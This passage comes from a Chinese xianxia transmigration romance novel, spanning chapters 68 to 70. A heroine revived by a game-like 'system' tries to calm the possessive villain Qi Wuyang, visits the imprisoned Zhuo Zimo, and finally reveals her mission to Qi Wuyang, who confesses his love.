这人说话说一半的毛病她也早就习惯了。徐颂禾好不容易从混乱的思绪中抽离出来,盯着桌上那两个手指长的杯子,说道∶“我渴了,能帮我递杯水吗?” 他微微一顿,随后若有所思地蹙起眉∶“这个酒,应该怎么喝?” 徐颂禾接过了杯子,闻言停下动作,感到些许遗憾∶“这是酒呀?那我还是喝这个吧……” “这是合卺酒。” “啊?” 他波澜不惊地接住险些从她手中滑落的酒杯,又抬起另一只手替她顺着背,“慢点喝,小心呛着。” 倒不如呛死她。 徐颂禾缓过劲来,朝他投去震惊的一眼∶“为什么要喝合卺酒?” “成婚,不就是要这样么?” 成婚?什么成婚? 徐颂禾按住他的手,强行阻止了他的动作,“不是,你、你先等会——我能不能问问,现在是怎么个情况?” 少年垂眸淡淡瞥了眼自己那只被按在桌上的手,并未将其挣脱,灼灼目光烫得她下意识想要避开。 “你不愿意吗?是不是还在怨我?” 怨他什么? 徐颂禾一头雾水,怀疑自己已经跟不上这人的脑回路了。 “呃,我不是那个意思,”她连忙摆摆手,说道∶“你就当我睡了太久,脑子有点混乱吧。而且现在这样真的太突然了,我、我都还没搞清楚状况。” 死了之后又莫名其妙被拉回来,睁眼就要结婚,搁谁谁不懵啊? “恭喜宿主‘起死回生’,现将为您颁布新任务。” 徐颂禾现在已经到了听见这个声音就莫名烦躁的地步了——不是才刚完成一个吗?怎么又有新的?真是死了也不让她消停。 然而系统丝毫不管她的反抗,机械地说道∶“检测到反派祁无恙当前黑化值已上升为一百,请宿主努把力,让它降到五十。” 她有些惊讶,难道不应该是下降到一百吗?毕竟这人一出场就让她觉得,他的黑化值都已经能有三位数了。 “我要怎么降低他的黑化值?” 系统愉快地说∶“这个需要宿主自己想办法,原本是要全部清空的,我替宿主争取了一下,现在只需要折半就能成功啦。这是你重新以活人的形态回到现实世界的唯一办法。” ……她还得说声谢谢呗。 徐颂禾走下床,视线越过他∶“外面是下雪了吗?怎么这么冷呢……” 太奇怪了,她回去的时候明明还是夏天,这才半个月的功夫,就入冬了? 她目光定格在墙上的一张纸上,说得好听点是画,其实就是很多潦草的笔画扭曲在一起,勾勒出了一张勉强看得出来是人脸的东西。 “这是你画的吗……” 徐颂禾好奇地走上前,刚伸手揪住纸张的一角,忽地感到腰身一紧,整个人被一股力道带得向后踉跄。 天旋地转间,她胡乱抓住手边的物品,待那阵眩晕感消失后,映入眼帘的又是熟悉的帐幔。 少年从背后搂住她,贪恋地埋进她颈间∶“不要走……” 灼热而急促的呼吸喷洒在肌肤上,激起一阵颤栗。 徐颂禾身体一下子僵住了,她感到有股滚烫的温度正从他贴近的地方透过来,直冲脑门,整张脸霎时间都变得红彤彤的。 “我……我没有要走,”她手指僵硬地往下移,最后按住了那只搂在自己腰上的手,试图把它掰开,“你、你先松开我。” “记得么?你从前每一回都是这么离开的。” 他的声音贴着耳朵响起,这样的一个人说话竟然也会带上几分委屈。 她越是用力想挣脱,腰身就被搂得越紧,无可奈何之下,徐颂禾只好放开了手∶“我什么时候离开了?” 他不说话了,只将脸更深地埋进她的颈窝,像无家可归的幼兽终于找到了属于自己的庇护。 这家伙看上去状态好像还真的不太对,那给他多抱一会也没什么不可以的。 这个念头刚一出现,徐颂禾便发觉身后这人想要的显然不仅仅是“拥抱”这么简单。 方才系好的衣带不知何时被拉开了一点,徐颂禾感觉到那只手正不安分地探向自己腰侧。他像是一只摇尾乞怜的小狗,一点一点试探她的反应,见她没有表现出抗拒,便愈加放肆地闯了进来。 肩带从修长的指节蹭过,他垂手挑开松散的衣带,轻轻一扯,便将它缠在指尖。 少年温热的唇轻轻印在她裸.露的肩头,而后顺着她肩颈的线条,一寸一寸地向上吻去。窗外风卷着雪花飘过,他掌心紧紧贴在轻薄的衣料上,炙热的温度几乎要把她给融化了。 “等等一下,”徐颂禾在意乱神迷中找回了一丝理智,她抓住那只还想继续深入的手,声音微微发颤∶“外面是什么声音?” 听上去很像某种动物咀嚼青草声音,也正是这么一丝趁乱遁入的声音,将她混乱的思绪重新拉了回来。 他们不能这样,这太荒唐了,她根本没有一点准备。 徐颂禾趁着他动作微微一顿的间隙,猛地从他怀里转过身,双手抵在他胸前,拉开了些许距离。 她低头审视了自己一眼,手忙脚乱地拢起肩带,遮住了上面的红痕。 “没什么。” 蜡烛被吹灭了,少年那双眼瞳浸在黑暗里,声音辨不出情绪∶“你听错了。” “是吗?”徐颂禾眼下脑子还乱糟糟的,根本没心思去揣摩他这话的真伪,何况这本来也不过是她为了推开他随便找的理由罢了。 “恭喜宿主,黑化值减十,当前为九十。” 嗯?这就降低了? 徐颂禾抬起眼睛看向他,他脸上似乎永远只有两幅表情,要么冷冰冰的,要么就蔫坏地想捉弄她。 完全看不出来他现在是开心的。 “喂,祁无恙,”她探出脑袋,看着默默坐在桌旁,一脸专注的人,问道∶“你在干嘛呢?” 蜡烛重新点燃,祁无恙并未停下手中的动作,他剥着糖纸,笑着看向她∶“他们说这是喜糖,吃了它才算礼成。” 徐颂禾偏了偏脑袋,看着那一堆各种各样的糖果,忽然有些眩晕。 她按住他的手,声音有些晦涩∶“祁无恙,你、你别这样……你能给我一点缓冲的时间吗?” 他却抬起眼,黑润的眸子凝望过来,半晌才将那句话问出口∶“你还喜欢他吗?” “嗯?”徐颂禾真真切切地懵了一下,“谁啊?” “你就算还喜欢他也没关系,”少年淡淡一笑,欺身朝她逼近,声音温柔到近乎带了几分蛊惑∶“我不会介意,也不会再逼你。” 第68章 养兔子 徐颂禾怔了一下, 大概知道他指的是什么了。 现在在祁无恙看来,她的人设约莫还是喜欢小白喜欢到愿意替他去死的。 “我没有喜欢他,你误会了……”她刚要解释, 忽然又觉得这个说法太过牵强——如果不是因为喜欢, 她又为什么要替卓子墨挡下那一剑呢? 话卡在喉咙里, 徐颂禾看着少年那双执拗的眼睛,一时间竟不知该如何解释。 总不能直接告诉他,她这么做都是因为系统吧?上一回t不小心透露了一点之后, 被电击的疼痛还记忆犹新, 那头疼欲裂的感觉令她现下回想起来还会忍不住发抖。 “反正, 不是你想的那样。” 徐颂禾垂下眼,不敢去面对他炽热的目光, 最终只能干巴巴挤出来这么一句。 “是吗?” 少年偏偏脑袋,烛火在眼底不断跃动∶“我想的什么样?” 话音未落, 窗户外蓦地闪过一团白色的身影,紧接着那东西重重撞在了窗上, 发出沉闷的声响。 她神经一下子紧绷起来,不由攥紧手中的被褥, 忐忑地盯着外面∶“什、什么声音?” 窗户嗖的一声被拉开, 一个圆滚滚的雪团子飞了进来。祁无恙视线依旧未从她脸上移开,只稍一抬手,那雪团子便被他捏在了手里。 “是兔子?!” 徐颂禾赶紧掰开他的手指, 将那只兔子接过来, 捧在手里温柔地揉搓着。她抬起眼看了看对方那一脸嫌弃的模样, 顿觉好笑∶“你不是讨厌兔子吗?干嘛还要把它弄进来?”: 他轻轻说道∶“它会冻死。” 这个人居然也有发善心的一天? 她突然感到一丝欣慰,随口问道∶“又不是你养的,你还管它的死活呢?” “是我养的。” “啊?”徐颂禾捧着那只瑟瑟发抖的雪白团子, 指尖僵住了,“你……养兔子?” 他眼睫轻颤了下∶“你不喜欢吗?” 她愣了愣,鬼使神差地走到窗旁,拉开帘子,冰天雪地中,不远处树荫掩蔽之下,竟堆着一个用篱笆围起的兔笼。 徐颂禾一时被哽住了∶“这些都是你养的?” “嗯。”他别过脸,声音透着一股淡淡的失落∶“我以为你会喜欢。” “我没有不喜欢,只是有些意外,”她眨了眨眼,忽地踮起脚,伸手搭在他的肩上,“我有个问题想问问你……” 少女乌黑清澈的眼眸一瞬不瞬地望着他,祁无恙略略弯腰,平视着那双眼睛。 不用问,他便猜到她要说什么了。 那些人的死和他脱不了干系,他就是一个双手沾满血的恶魔,一个对任何人都没有同情心的疯子。 祁无恙看着少女近在咫尺的脸,垂眸细细端详她眼中倒映的烛火,却又生怕从中看出一丝厌恶。半晌,他扯了扯嘴角,露出一抹自嘲的笑。 “不必问了,他们……” “是你让我‘复活’的,对不对?” 话音未落,徐颂禾忽然伸手,紧紧抱住了他。 这个拥抱来得猝不及防,祁无恙身体猛地僵住,整个人像是被施了定身咒,连呼吸都停滞了一瞬。 少女温软的身体贴着他,手臂环住他的腰,脸颊埋在他胸前。感受到他的不自然,她抬起脸,抱着他的手稍稍放松了些,声音闷闷的∶“你为了让我回来,是不是付出了很大的代价?” 能有办法让人起死回生的,大概只有他了。 她不是什么木头,到今天这个份上,也清楚他对自己并非只有她曾经以为的“一点点喜欢”。 从前迫于攻略任务,身不由己,但现在……她好像也没有理由再回避下去了。 “我也有话想和你说……” 少年微微晃了一下神,垂眸看清她眼里的愧疚,忽地俯下身,将她正要缩回去的身子搂回了怀里。 “不是为了你,是为我,”他脑袋靠在少女肩头,声音贴着耳朵响起,“是我想……” 他想什么?剩下的话她没能听清,只知道自己被抱得太紧,都快要喘不过气来了。 “我不会照顾它们,兔子已经死了很多只了。” 他把自己松开,又冷不丁冒出这么一句,徐颂禾抬了抬眼睛,便见他移开视线,似乎有些难以启齿。 “他们不喜欢我,但想必会喜欢你。” 祁无恙自认为已经把话说得很清楚了,就算她不喜欢他,为了这些兔子,应当也不会忍心离开。 但徐颂禾没想那么多,她看着窝在手心里的兔子,摸了下它的毛。喜不喜欢不知道,但看得出来这兔子被养得很好了,肥肥的,一摸全是肉。 再一看他的表情,依旧是那副嫌弃的模样。 一想到他每天黑着脸去喂兔子的模样,她便禁不住笑出了声。 祁无恙让这声笑弄得神情一顿,眉宇间尽是困惑∶“笑什么?” “没什么,”见他仍是那副表情盯着自己,徐颂禾思索了一下,找不到别的词,便脱口而出道∶“笑你可爱,行了吧?” 他偏了偏头,眉头蹙得更紧,仿佛第一次听见这个词。 “哎,它好像饿了,去给它找些吃的吧。”徐颂禾刚一转身,还没来得及迈出一步,手腕忽地被人攥住。她只觉眼前景物一晃,身体便被那股力道带着向后倾倒,后背轻轻撞进柔软的床褥里。 少年单膝跪在床沿,一手仍抓着她手腕,顺势倾身压向床榻,另一只手轻巧地夺走了她抱在怀中的兔子。 他淡淡看着少女满是震惊的眸子,轻声道∶“天黑了,睡吧。” “我才刚醒不久,没那么能睡,”徐颂禾被他禁锢在角落里,伸手推了他一把,见推不动,便不由恼怒道∶“再说了,就算我要睡觉,你上来干嘛?” “自然是睡觉。” “你怎么能在这睡?我……” “我习惯了。” 祁无恙说得理所当然,将那兔子随手掷出去,自己则侧身在她身旁躺下,毫无负担地闭上了眼。 “你……” 摊上这么个家伙,她也只能认栽了。 可他以前也不是这样的,究竟从什么时候开始,变得这么喜欢“耍流氓”了? 徐颂禾气不过,索性把被子全部抢走,随后侧着身子使劲往里挪,但很快又被他重新拉了回来,就这么折腾了大半宿。 “怎么不能老实点呢?你这样,我都没法睡了……” 意识模糊间,她随口嘟哝了一句,在他身上推了推,对方却没反应。爬起身一看,他居然已经睡着了。 这好像还是头一回见他睡得这么熟。 他一只手还搭在自己手腕上,徐颂禾微微一顿,蓦地开始琢磨起他方才那句“习惯了”的意思。 她“死”了那么些天,祁无恙该不会……每晚都搂着一具尸体入睡吧? 尽管尸体是她自己的,但一想到那种画面,她还是禁不住打了个寒颤。 那人死了总会有味道吧?徐颂禾低头在自己身上嗅了嗅,非但没有臭味,反而还夹杂着一股淡淡花香。 她越来越好奇这个人到底用了什么法子让自己死而复生了,看他现在这副样子,貌似不大相信她的的确确已经回来了,还总觉得她会消失。 那是不是说明,其实他自己对那个办法也没有那么大的把握? 她坐起来太久,身旁的位置一直空着,他便又感到不踏实了,眼睛仍闭着,手却已先抬起来攥住了她手腕∶“别走……” “好好好,我不走我不走。”徐颂禾无奈地躺回去,却一点睡意都没有。 她回来了,和祁无恙说开误会,然后两人一起回到现实世界去,一切就能和和美美了吗? 直觉告诉她,事情根本没有那么简单。 “祁无恙,”她转过身,盯着他的脸,一根根数着他细长的眼睫,低声问∶“那如果我没有回来呢?如果我回不来了,你会怎么办?” 他没有回答,应当已经睡熟了,只是扣着她的那只手一刻也未放松过。 * “爹,快醒醒……” 见身旁的人渐渐醒转,卓子寻绝望的面容上终于涌现出了一丝生机。他双手仍被绳子牢牢缚着,整个人扑上前去,“哇”的一声哭了出来∶“爹,您可算醒了!孩儿方才……方才差一点就死在那妖孽手里了!” 卓不凡不清楚自己昏迷了多久,醒来时口干舌燥,睁眼便见自己那不争气的儿子一把鼻涕一把泪地扑来,更是怒火中烧,即便双手被缚,也一脚毫不留情地将他踹开。 “哭什么哭?遇事沉稳,宁死不屈,我教给你的都忘了吗?”他沉着声道∶“子墨呢?他不是已经逃出来了么?怎的还不回流云宗,派人来端了这妖孽的老巢?” “爹,哪还有什么人啊?”卓子寻没忍住又哭了出来,“兄长他就在那呢!流云宗……您忘了,师兄弟们大都已经死在那人手下了,侥幸没死的,也已灵力受损,和常人无异,哪还能救得了我们?” 卓不凡顺着儿子颤抖的指尖望去,只见不远处,卓子墨双目紧闭,脸色惨白地被数根绳子吊起,显然已只剩一口气吊着。 他瞳孔蓦地一震,懊悔,愧疚,愤怒……所有的情绪在瞬间t拧成一股足以灼穿心肺的剧痛,烧得他眼前阵阵发黑。 他们……都死了。 昔日那一张张笑脸,此刻一一浮现在他面前,一触即散。 若不是他一意孤行,非要取什么灵脉,他们也不至于白白送死……口口声声说要还天下和平,如今却枉送了这么多条无辜的生命,他才当真是罪大恶极。 但不容他细细悔恨,牢门便“吱呀”一声被人踢开,刺目的阳光照射进来,迎面撞上的,是一道逆光而立的身影。 第69章 噩梦 “快, 他就在那里,快抓住他,夺回灵脉!” “结阵!封住他的退路!” 数十名身着各色宗门服饰的修士手持武器, 从四面八方围拢过来, 闪烁着贪婪的目光死死锁定了崖边那道孤影。 少年背对深渊而立, 面无波澜地看着这群道貌岸然的名门正派。山崖凛冽的罡风卷起他墨黑的长发和暗红的衣摆,他只将指尖稍稍一抬,众人便骤然停住不敢向前了。 “这妖孽诡计多端, 当心有诈!” 众修士面面相觑, 都猜不透他葫芦里卖的什么药。有人小声猜测道∶“听说这九尾狐麾下妖兵无数, 莫非他是在拖延时间,等那些喽啰来援?” 此言一出, 立刻有一满脸横肉的道士高声喝道∶“那还愣着干什么?快趁现在把他给杀了,省得节外生枝!” 为首的长老神色蓦地一凛, 道∶“慢着,不可妄动!” 他向前伸出手去, 可已是来不及,那道士手中剑刃化作一道凌厉白光, 以不可挡之势朝着崖边少年刺去。 气氛霎时沉下来, 如此明显的陷阱,这道士分明已是必死无疑,可众目睽睽之下, 那道白光竟就这样径直穿过了红衣少年的身体, 血液刹那间漫上衣襟, 在他心口处洇开一大片刺目的红。 他踉跄了一下,垂手按住剑柄,抬眸冷冷看向那张露出狂喜神色的脸。 那道士也未料到得手得如此轻而易举, 放声大笑起来∶“区区一个强弩之末,也能把你们吓成这样。人是我杀的,灵脉也是我的了!” 众人如梦初醒,刀剑出鞘的声音一时不绝于耳。少年沉着脸将那柄刺入身体半寸的剑拔出,抬指不紧不慢地拭去唇边血迹,随后望向洪水般朝自己压来的人群。 那些人的脸全都模糊不清,他也不屑于看清——长相相差无几的蝼蚁罢了,捏死便是。 “你们这些人才是坏得要命!他明明从没伤害过一个无辜的人,你们却一直不肯放过他。” 他目光一顿,略显错愕地望着挡在自己身前的人。少女张着双臂,愤愤瞪向那群喊打喊杀的人,丝毫没有退缩之意∶“我看灵脉要是落到你们手里,才真的要天下大乱了吧!” 周围的风仿佛都在这一瞬凝固了下来。 她转过身,捧起他的脸,一双乌黑清亮的眼眸弯了弯∶“别怕呀,我会保护你的。” 她的手心总是很温暖,他几乎从未体会过这样的温度,滚烫,却又令人贪恋。 “你……” 心中的欲念像被投入石子的深潭,涟漪一圈圈漾开,促使他克制不住地伸出手,贪心地想要留住那一缕温暖。 可抬手的刹那,指尖却倏地从少女身上穿过,她歪着脑袋笑了笑,身体也逐渐变得透明∶“我要走啦,你忘记我已经死了吗?以后你可要好好活下去呀。” 少女身形渐显单薄,最终如一片片花瓣般从他眼前散开。 “你问我为什么愿意与这么多人为敌,站在你这边,又为什么要帮你找身体?你傻呀,当然是因为我喜欢你呀!那你呢,你对我是什么感觉?” “不……” 他喉间溢出一声近乎破碎的低喃,目光里盛满慌乱,无措地向前扑去,却只握住了手中的一捧流沙。 “别……别走……” 他一个人孤零零度过了无数个春秋,好不容易有人愿意靠近他,愿意理解他,甚至是……喜欢他,可为何却走得如此之快? 快到他还未来得及细细品味“喜欢”这二字的分量。 按在腰上的手蓦地收紧,徐颂禾猝不及防被掐得一疼,朦胧的意识立马清醒了大半。她翻身坐起来,带着点被吵醒后的起床气,有些恼怒地看向仍在睡梦中的人。 徐颂禾使劲推了他一把,直到对方缓缓掀起眼皮,那双眸子里还藏着未散的恐慌和茫然。 “你干嘛掐我?”她此刻睡意还没完全消散,声音略带含糊,“你知不知道,你这样弄得我一晚上都没睡好?” 他也不知道是怎么了,刚回来时抱一抱也就罢了,连睡觉也要贴着,她根本没法入睡。 少年抬眸凝视着她,静静听着一句句抱怨,等她数落完了,才淡淡开口∶“做噩梦了,抱歉。” 徐颂禾一下子顿住了,还是第一次听见从他嘴里说出这么正经的道歉,她一时半会都想不到该怎么接话了。 她思索了半晌,最后架不住对方的目光,随口问道∶“你做了什么梦呀?” 然而还不等他回答,系统的声音便开始在脑海里催促∶“请宿主尽快开始做任务,每多一个人死在祁无恙手里,他的黑化值就会上升一分。” 徐颂禾皱了下眉,心道这家伙粘在自己身边一整天了,连门都没出过,还能怎么杀人? “我问你话呢,”她戳了戳他的肩膀,见他仍有些失神,便又凑近了些,“以前可从没见过睡熟过,更别说做梦了。你老老实实告诉我,我不在的那几天,你都干了些什么?” 不知是哪个字又触动了他,祁无恙目光闪了闪,别开了脸∶“没什么,不关你的事。” “哎,你别走呀……” 系统不会无缘无故提示,见他作势要离开,徐颂禾本能地往前一扑,伸手拽住了他的衣角,“那你能不能先告诉我,那些宗门的人都去哪里了?” 他猛地顿住,回过眸盯着她抓住自己衣角的手,眼神黯了黯。 她被看得心里发怵,忽然后悔问了这个问题——他现在的黑化值那么高,那些人八成早已没命了,她这么一问,没准还踩在他的雷点上了。 “姐姐,姐姐——” 房门“砰”的一声被人撞开,阿生满头大汗地奔进来,快要伸手碰到她时,又被少年阴沉着脸推远了。 “阿生?”徐颂禾满是惊讶地看着他,道∶“你怎么会在这?” 原本以为他也会落得和那些宗门弟子一样的下场,没想到祁无恙居然会放他一命…… 阿生被推得踉跄了一下,却丝毫不恼,甚至还兴奋地看着她∶“太好了,姐姐真的醒了!前几天我就看见他一直待在这,不知道在忙活些什么,前天突然飘起了雪,我就预感到姐姐要回来了。刚才听见屋里有声音,就想进来看看,没想到是真的!” 小孩子表达能力果然稍有欠缺,徐颂禾扶着额头,勉强听懂了他的意思。 不合时宜的季节下起了雪,难道真的和她的“复活”有关? 阿生一脸骄傲地说∶“姐姐放心,那些坏人已经被我给抓起来了,他们都不会有好下场的!” 徐颂禾原本还有一搭没一搭地敷衍着他的话,听到这忽地愣住了∶“抓……抓起来了?你把谁抓起来了?” “就是那个白衣服的人!”阿生挺起胸脯,丝毫未察觉到一旁少年射来的目光,得意洋洋地说∶“我还以为打不过他的,没想到他那么弱,一下就被我按住了……” 徐颂禾没再听他说下去,她抬脸看向身旁的人,焦急地问∶“祁无恙,你把小白关在了哪里?” 穿越回去后,她做的第一件事就是去翻看了原著小说。卓子墨是书中重要人物,是要活到大结局,守卫天下和平的。而按照原剧情发展,祁无恙才是那个最后会被绳之以法的大反派。 真是不公平……他明明什么也没有做,凭什么给他安上这样的结局? 祁无恙目光在她脸上停留了一瞬,眼底霎时翻涌起浓浓戾气。他微微倾身,一手抵在她身侧,将她困在方寸之间。 “你你……你别激动呀,我就问问,他现在怎么样了?” 怎么在这人身上闻到一股酸溜溜的劲呢? “阿生,你快先出去吧,我……我待会就来。” 意识到接下来可能会有些t少儿不宜的画面,她赶紧出声把人支开,话音方落,便听见对方轻轻笑了声。 祁无恙偏头注视着她的脸,声音淡淡∶“他们有多少人?我只有我,连你也帮着他,我能把他怎么样?” 他眼神死死锁在她脸上,像要把她的身子给穿透了。 “我没有帮着他,更没有喜欢他。”徐颂禾急急打断他,仰着脸,毫不闪避地迎上他的视线。她知道,此刻任何一丝迟疑或退缩,都会被他解读为心虚或默认。 她定了定神,在他略带错愕的目光下,一字一句地说∶“我是想救你呀。” 原著里,他也是在这个时候囚禁了卓子墨,最终彻底踏上万劫不复之路,等待他的只有那些“正义”的围剿。 先前书里多了她这么一个穿越人物,剧情的确有所偏离,但她才回家几日,怎么就要回到正轨了? 祁无恙微微一怔,却也并未对这个答案感到多意外。 从一开始,她就和其他人不一样。 可他为什么总是克制不住,分明已经说过,纵使她依然对那个人念念不忘也没关系,为何还要这样对她? 她能回来,这一切都不是梦,就已经足够了。 一丝理智悄悄回笼,他松开手,朝后退了半步,垂眸凝着少女懵懂的神色。 “不是想见他吗?”半晌,他听见自己的声音毫无波澜地说∶“跟我走。” * 卓不凡眯着眼睛,看向那道缓缓走来的身影,后槽牙登时要紧了,浑身重重一颤∶“妖孽,我告诉你,我卓不凡可不是能任凭你羞辱的。我就是撞墙自尽,也不会呆在这……” 一旁卓子寻慌忙拽住他挣扎的身子,道∶“爹,您冷静啊,要是连您都死了,孩儿可怎么办?” 祁无恙懒得理会那父子二人上演的一出闹剧,他淡淡瞥了眼被绑在十字板上,形容狼狈的人,随手在地上扔下一块手帕。 那人动了动手指,抬起一张被血浸染的脸。 “给你一柱香的时间,把身上擦干净,”少年望向角落里哭天喊地的人,冷冷一笑∶“再有一滴血,我就让他们去死。” 第70章 “攻略我,不好吗?”…… 徐颂禾在门外等候时, 便已经做好了心理准备,不管卓子墨现在被伤成什么样子,她都不会表现出过多的情绪。 毕竟那家伙喜欢吃醋, 还总不信任她, 明明都几百岁的“妖怪”了, 却像个没安全感的幼稚鬼。 然而当那扇门缓缓打开,她将目光望进去时,双方都结结实实愣住了。 眼前的景象和她预想中的大相径庭, 只见卓子墨正好端端站在那里, 脸上爬满了难以置信的惊愕。除了衣服有几处破旧, 精神貌似还有些萎靡之外,浑身上下看不出半点伤痕。 祁无恙把他关了那么久, 居然什么也没做吗? “你……” 徐颂禾稍稍避开他由震惊转为热切的目光,斟酌着他们见面后的第一句话∶“你没事吗?” “我、我……”卓子墨张了张口, “我”了半晌也没能说出下文,只失神地看着她, 脚下一步步往前。 “阿禾,真的是你, 你当真还活着吗?”他颤颤巍巍地伸出手, 想要触碰她,可指尖却在距离她咫尺之遥时,被一股力道猛地弹开了。 他踉跄着往后退, 不知所措地望着站在她身旁的人。 少年只冷冷睨了他一眼, 转眸看向一旁的徐颂禾时, 眼底恢复了一丝笑意∶“你刚回来不久,还不喜与旁人接触,不是么?” “……” 她能说不吗? 卓子墨还未能多看她几眼, 视线便被完全遮挡住了,浑身的伤口都在被推搡的那一瞬间复发,排山倒海般袭来的疼痛令他禁不住皱紧了眉,发出一声低低的闷哼。 “你怎么了?”徐颂禾目光绕过面前的人,在他身上打量了一下,“你是受伤了吗?” 她不用问也知道,他现在这样子也伤得太明显了点,况且她很清楚,祁无恙把人关起来,那个人能毫发无损才有鬼了。 “他很好。” 祁无恙不紧不慢截断了她的话头,微眯起眸,淡淡朝对方投去满含警告的一瞥∶“怎么,你有事?” 眼下父亲和弟弟都在这妖孽手上,他当然不能善举妄动。何况阿禾已经回来了,这一切都不是梦,现在她依然像从前那般完完整整地站在自己面前,若是受上几日难便能再见到她,那是再值得不过的。 卓子墨咽下喉间的腥甜,视线紧追着少女的一举一动,强笑道∶“我无事,阿禾不必担心。你能回来,我身上即便有什么伤痛,也全好了。” 虽不清楚祁无恙用了什么办法唤回阿禾,但经过这么一遭,他的灵力定然损耗不少,自己现在唯一能做的,便是苟且着活下去,他或许很快就会支撑不住了,到那时再带着阿禾离开,好好弥补她也不迟。 “不是说只看一眼,看完了吗?” 虽说已经不需要再做攻略任务了,但他是小白的时候的确帮过她不少,不管怎么说他们也是朋友了,徐颂禾轻轻蹙了下眉,还是不忍心看着他这样。她伸出手,想要为他查看一眼伤势,一道不轻不重的声音却蓦地在耳边响起。 她动作顿住,迟疑地抬眼看向一旁面带笑意的少年。 “警告,祁无恙目前黑化值上升五点,请宿主不要蓄意挑衅。” 呃,她哪里挑衅了? 那句话是询问的语气,可对方压根没给她回答的机会,他沉下脸,扣住她伸出去的手便不由分说地把人带了出去。 “哎,祁无恙,你走慢一点。” 徐颂禾被拉着走得太快,只能听见身后远远地传来卓子墨焦急的呼唤声,紧接着前面那人将手一扬,牢房的门便“砰”的一声关上了。 她试着想抽回手,却都徒劳无功,无奈之下只好说∶“你这样弄得我很疼……” 祁无恙闻言终于放缓了脚步,将人带回屋内后,他低眸看向那白皙的手腕上被自己攥出的红痕,神色微微变了∶“他说了他没事,怎么,你不相信我?” 他半跪下来,微微仰首,紧随着少女不知是不是因为心虚而乱飘的视线,“或是说,你还喜欢他,愿意为了他再死一次?” “我没有那么想,你误会了,”脑子里系统不断提示黑化值上升的声音吵得脑袋直疼,她坐在床榻上,一手扶住额头,急忙想解释∶“我对他没有那个意思,我只是把他当朋友。你要是看到朋友受伤了,也会担心的,对吧?” “我没有朋友,”他说得轻描淡写,目光却一瞬不瞬锁着她,又自嘲地一笑,仿佛在哀求她的垂怜,“不会有人愿意和我成为朋友。” 徐颂禾一下子被堵回去了,她微微一顿,低头望进少年黑沉沉的眼瞳里,心脏好似被轻轻揪了一下。 真是哪壶不开提哪壶,怎么能拿正常人来给他举例呢?她把手搭在他肩膀上,弯弯眼睛笑起来∶“你在说什么呀?好歹也并肩作战这么久了,我难道不能算你的朋友吗?” 他眼里的光亮轻颤了颤∶“你觉得呢?” “我觉得?” 徐颂禾眨了眨眼,说道∶“你是我在这个世界的第一个朋友,对我来说也一直都是很重要的人,所以你以后可不许再这么说自己了。” 他忽然间沉默下来,搭在膝上的手微微收紧。 很重要的人吗? 徐颂禾稍稍松了口气,她回来之后,这家伙就好像变得敏感了许多,说点什么都要小心翼翼的,生怕踩了他的雷。 “警告,黑化值上升两点。” 她一下子懵住了——自己都说漂亮话哄他了,怎么还能上升呢? 正怔愣间,少年忽地倾身逼近,她本能地往后一仰,清晰地从他眼中看见了自己的面庞。 “那最重要的是谁?” 他缓缓抬眸,紧紧锁着少女略带茫然的神色,执拗地等待着她的回答。 “我……” 不是,他怎么还钻字眼呢? 徐颂禾哑然片刻,正要开口,便又见对方敛起眼眸,目光落到她手腕上,“是他吗?” 声音中透着不易察觉的失落。 他轻笑一声,那抹强装出来的平静仿佛下一瞬便会被撕裂∶“我说过,不会再计较这些。你若对我有怨气,我也认了,只是还想和他在一起,绝无可能。” “等、等一下,”徐颂禾蹙了下眉,满是不解∶“我为什么要t对你有怨气?” 他说的,该不会是自己假死那一回吧? 差点忘了,祁无恙根本不知晓她的身份,所以在他看来,那一次她的的确确是死了。 他不说话了,她便紧紧盯着他的眼睛,那里面的答案已经很明显了。 原来他一直把所有的罪责都揽到了自己身上吗? 徐颂禾眼神渐渐软了下来,这个人说不出那些肉麻的话,甚至不懂该如何表达在意,到头来困在原地的就只有他自己。 她低声道∶“祁无恙,那件事情是我自己的选择,和你没有关系。” “我的确恨过,为何你几次说过喜欢我,最后却又要与他成婚,”他像是根本没听进去,唇边依旧笑意淡淡∶“可现在不同了,即便你还是喜欢他喜欢到愿意为了他去死,我也不会再强迫你。只不过下一回,我会同你一起。” 他怎么越说越乱了? 徐颂禾急忙打断他,觉得自己很有必要解释清楚∶“我只是把他当朋友,不是你以为的那种喜欢。以前不是,现在也不是。” 只是朋友? 祁无恙眼神黯了黯,他虽从未尝过友情的滋味,却也不是完全不懂,什么人会愿意为所谓的朋友挡剑?不过她想骗他,那也没关系,起码她还愿意花心思,用“朋友”这个看似无害的词来安抚他。 “祁无恙。” 方才的所有思绪瞬间飘散,祁无恙抬眼看向轻声唤他的人,“嗯”了一声。 她顿了顿,知道他肯定不相信自己,但既然没有攻略别人的必要了,她也不想再和他有误会。更何况,那样的喜欢,不止是他对自己有。 她也有。 “如果我说,我其实并没有死,只是回到了我自己的世界,”徐颂禾看着少年黑润的眼瞳,忽然感到一丝紧张,“你相信吗?” 话出口的刹那,系统的爆鸣在脑海中炸开∶“不可让外人知道系统的存在,上一次的教训,宿主难道忘了吗?” 上一回她还只是萌生出了念头,便已疼痛难忍了,她想象不到,如果现在真的说出口了,会招来什么后果。 可她不想再忍了,系统骗了自己那么多次,凭什么还要听它的?况且她在现实世界也只是一具魂魄的状态,就算回去了也只能眼睁睁看着父母难过,还不如好好珍惜能看得见碰得到自己的人。 “不管你信不信,我接下来说的,没有一句谎话。” 徐颂禾停顿片刻,趁着惩罚还没降下来,语速飞快地说∶“我不是这个世界的人,我在我的世界里已经死了,所以才会来到这里,遇见你。” 她一字一顿地,把自己一开始的攻略任务,以及“死”了之后回到哪里,总而言之,除了黑化值以外的事,全都对他和盘托出。 她说罢,又莫名感到心虚,战战兢兢地别过脸去,不敢看他的反应。 是不是犯傻呢?告诉他这些,他不就知道自己一开始是为了别的目的接近他的了? 徐颂禾暗暗后悔,这下不仅要接受惩罚,误会恐怕还要更深了。 房间里陷入意料之中的寂静,只能闻见她略带急促的呼吸声。 “所以你的意思是,要想回家,必须让卓子墨爱上你?” 过了有一个世纪那么久,对方终于沉沉开了口。 徐颂禾深吸口气,点了点头。 少年微微仰首,一双眸子似是浸在水中的黑曜石。 “为何不攻略我?” 她等着他的审问,猜想到他或许会生气,会恼火被人当成自己工具人,可没料到等了好半晌,就只有如此轻飘飘的一句。 徐颂禾愣住了,呆呆地看着他∶“什、什么?” 他欺近半步,仍保持着半跪的姿势仰望她,眼里近乎带着虔诚。 “攻略我,不好吗?” “我爱你。”—— 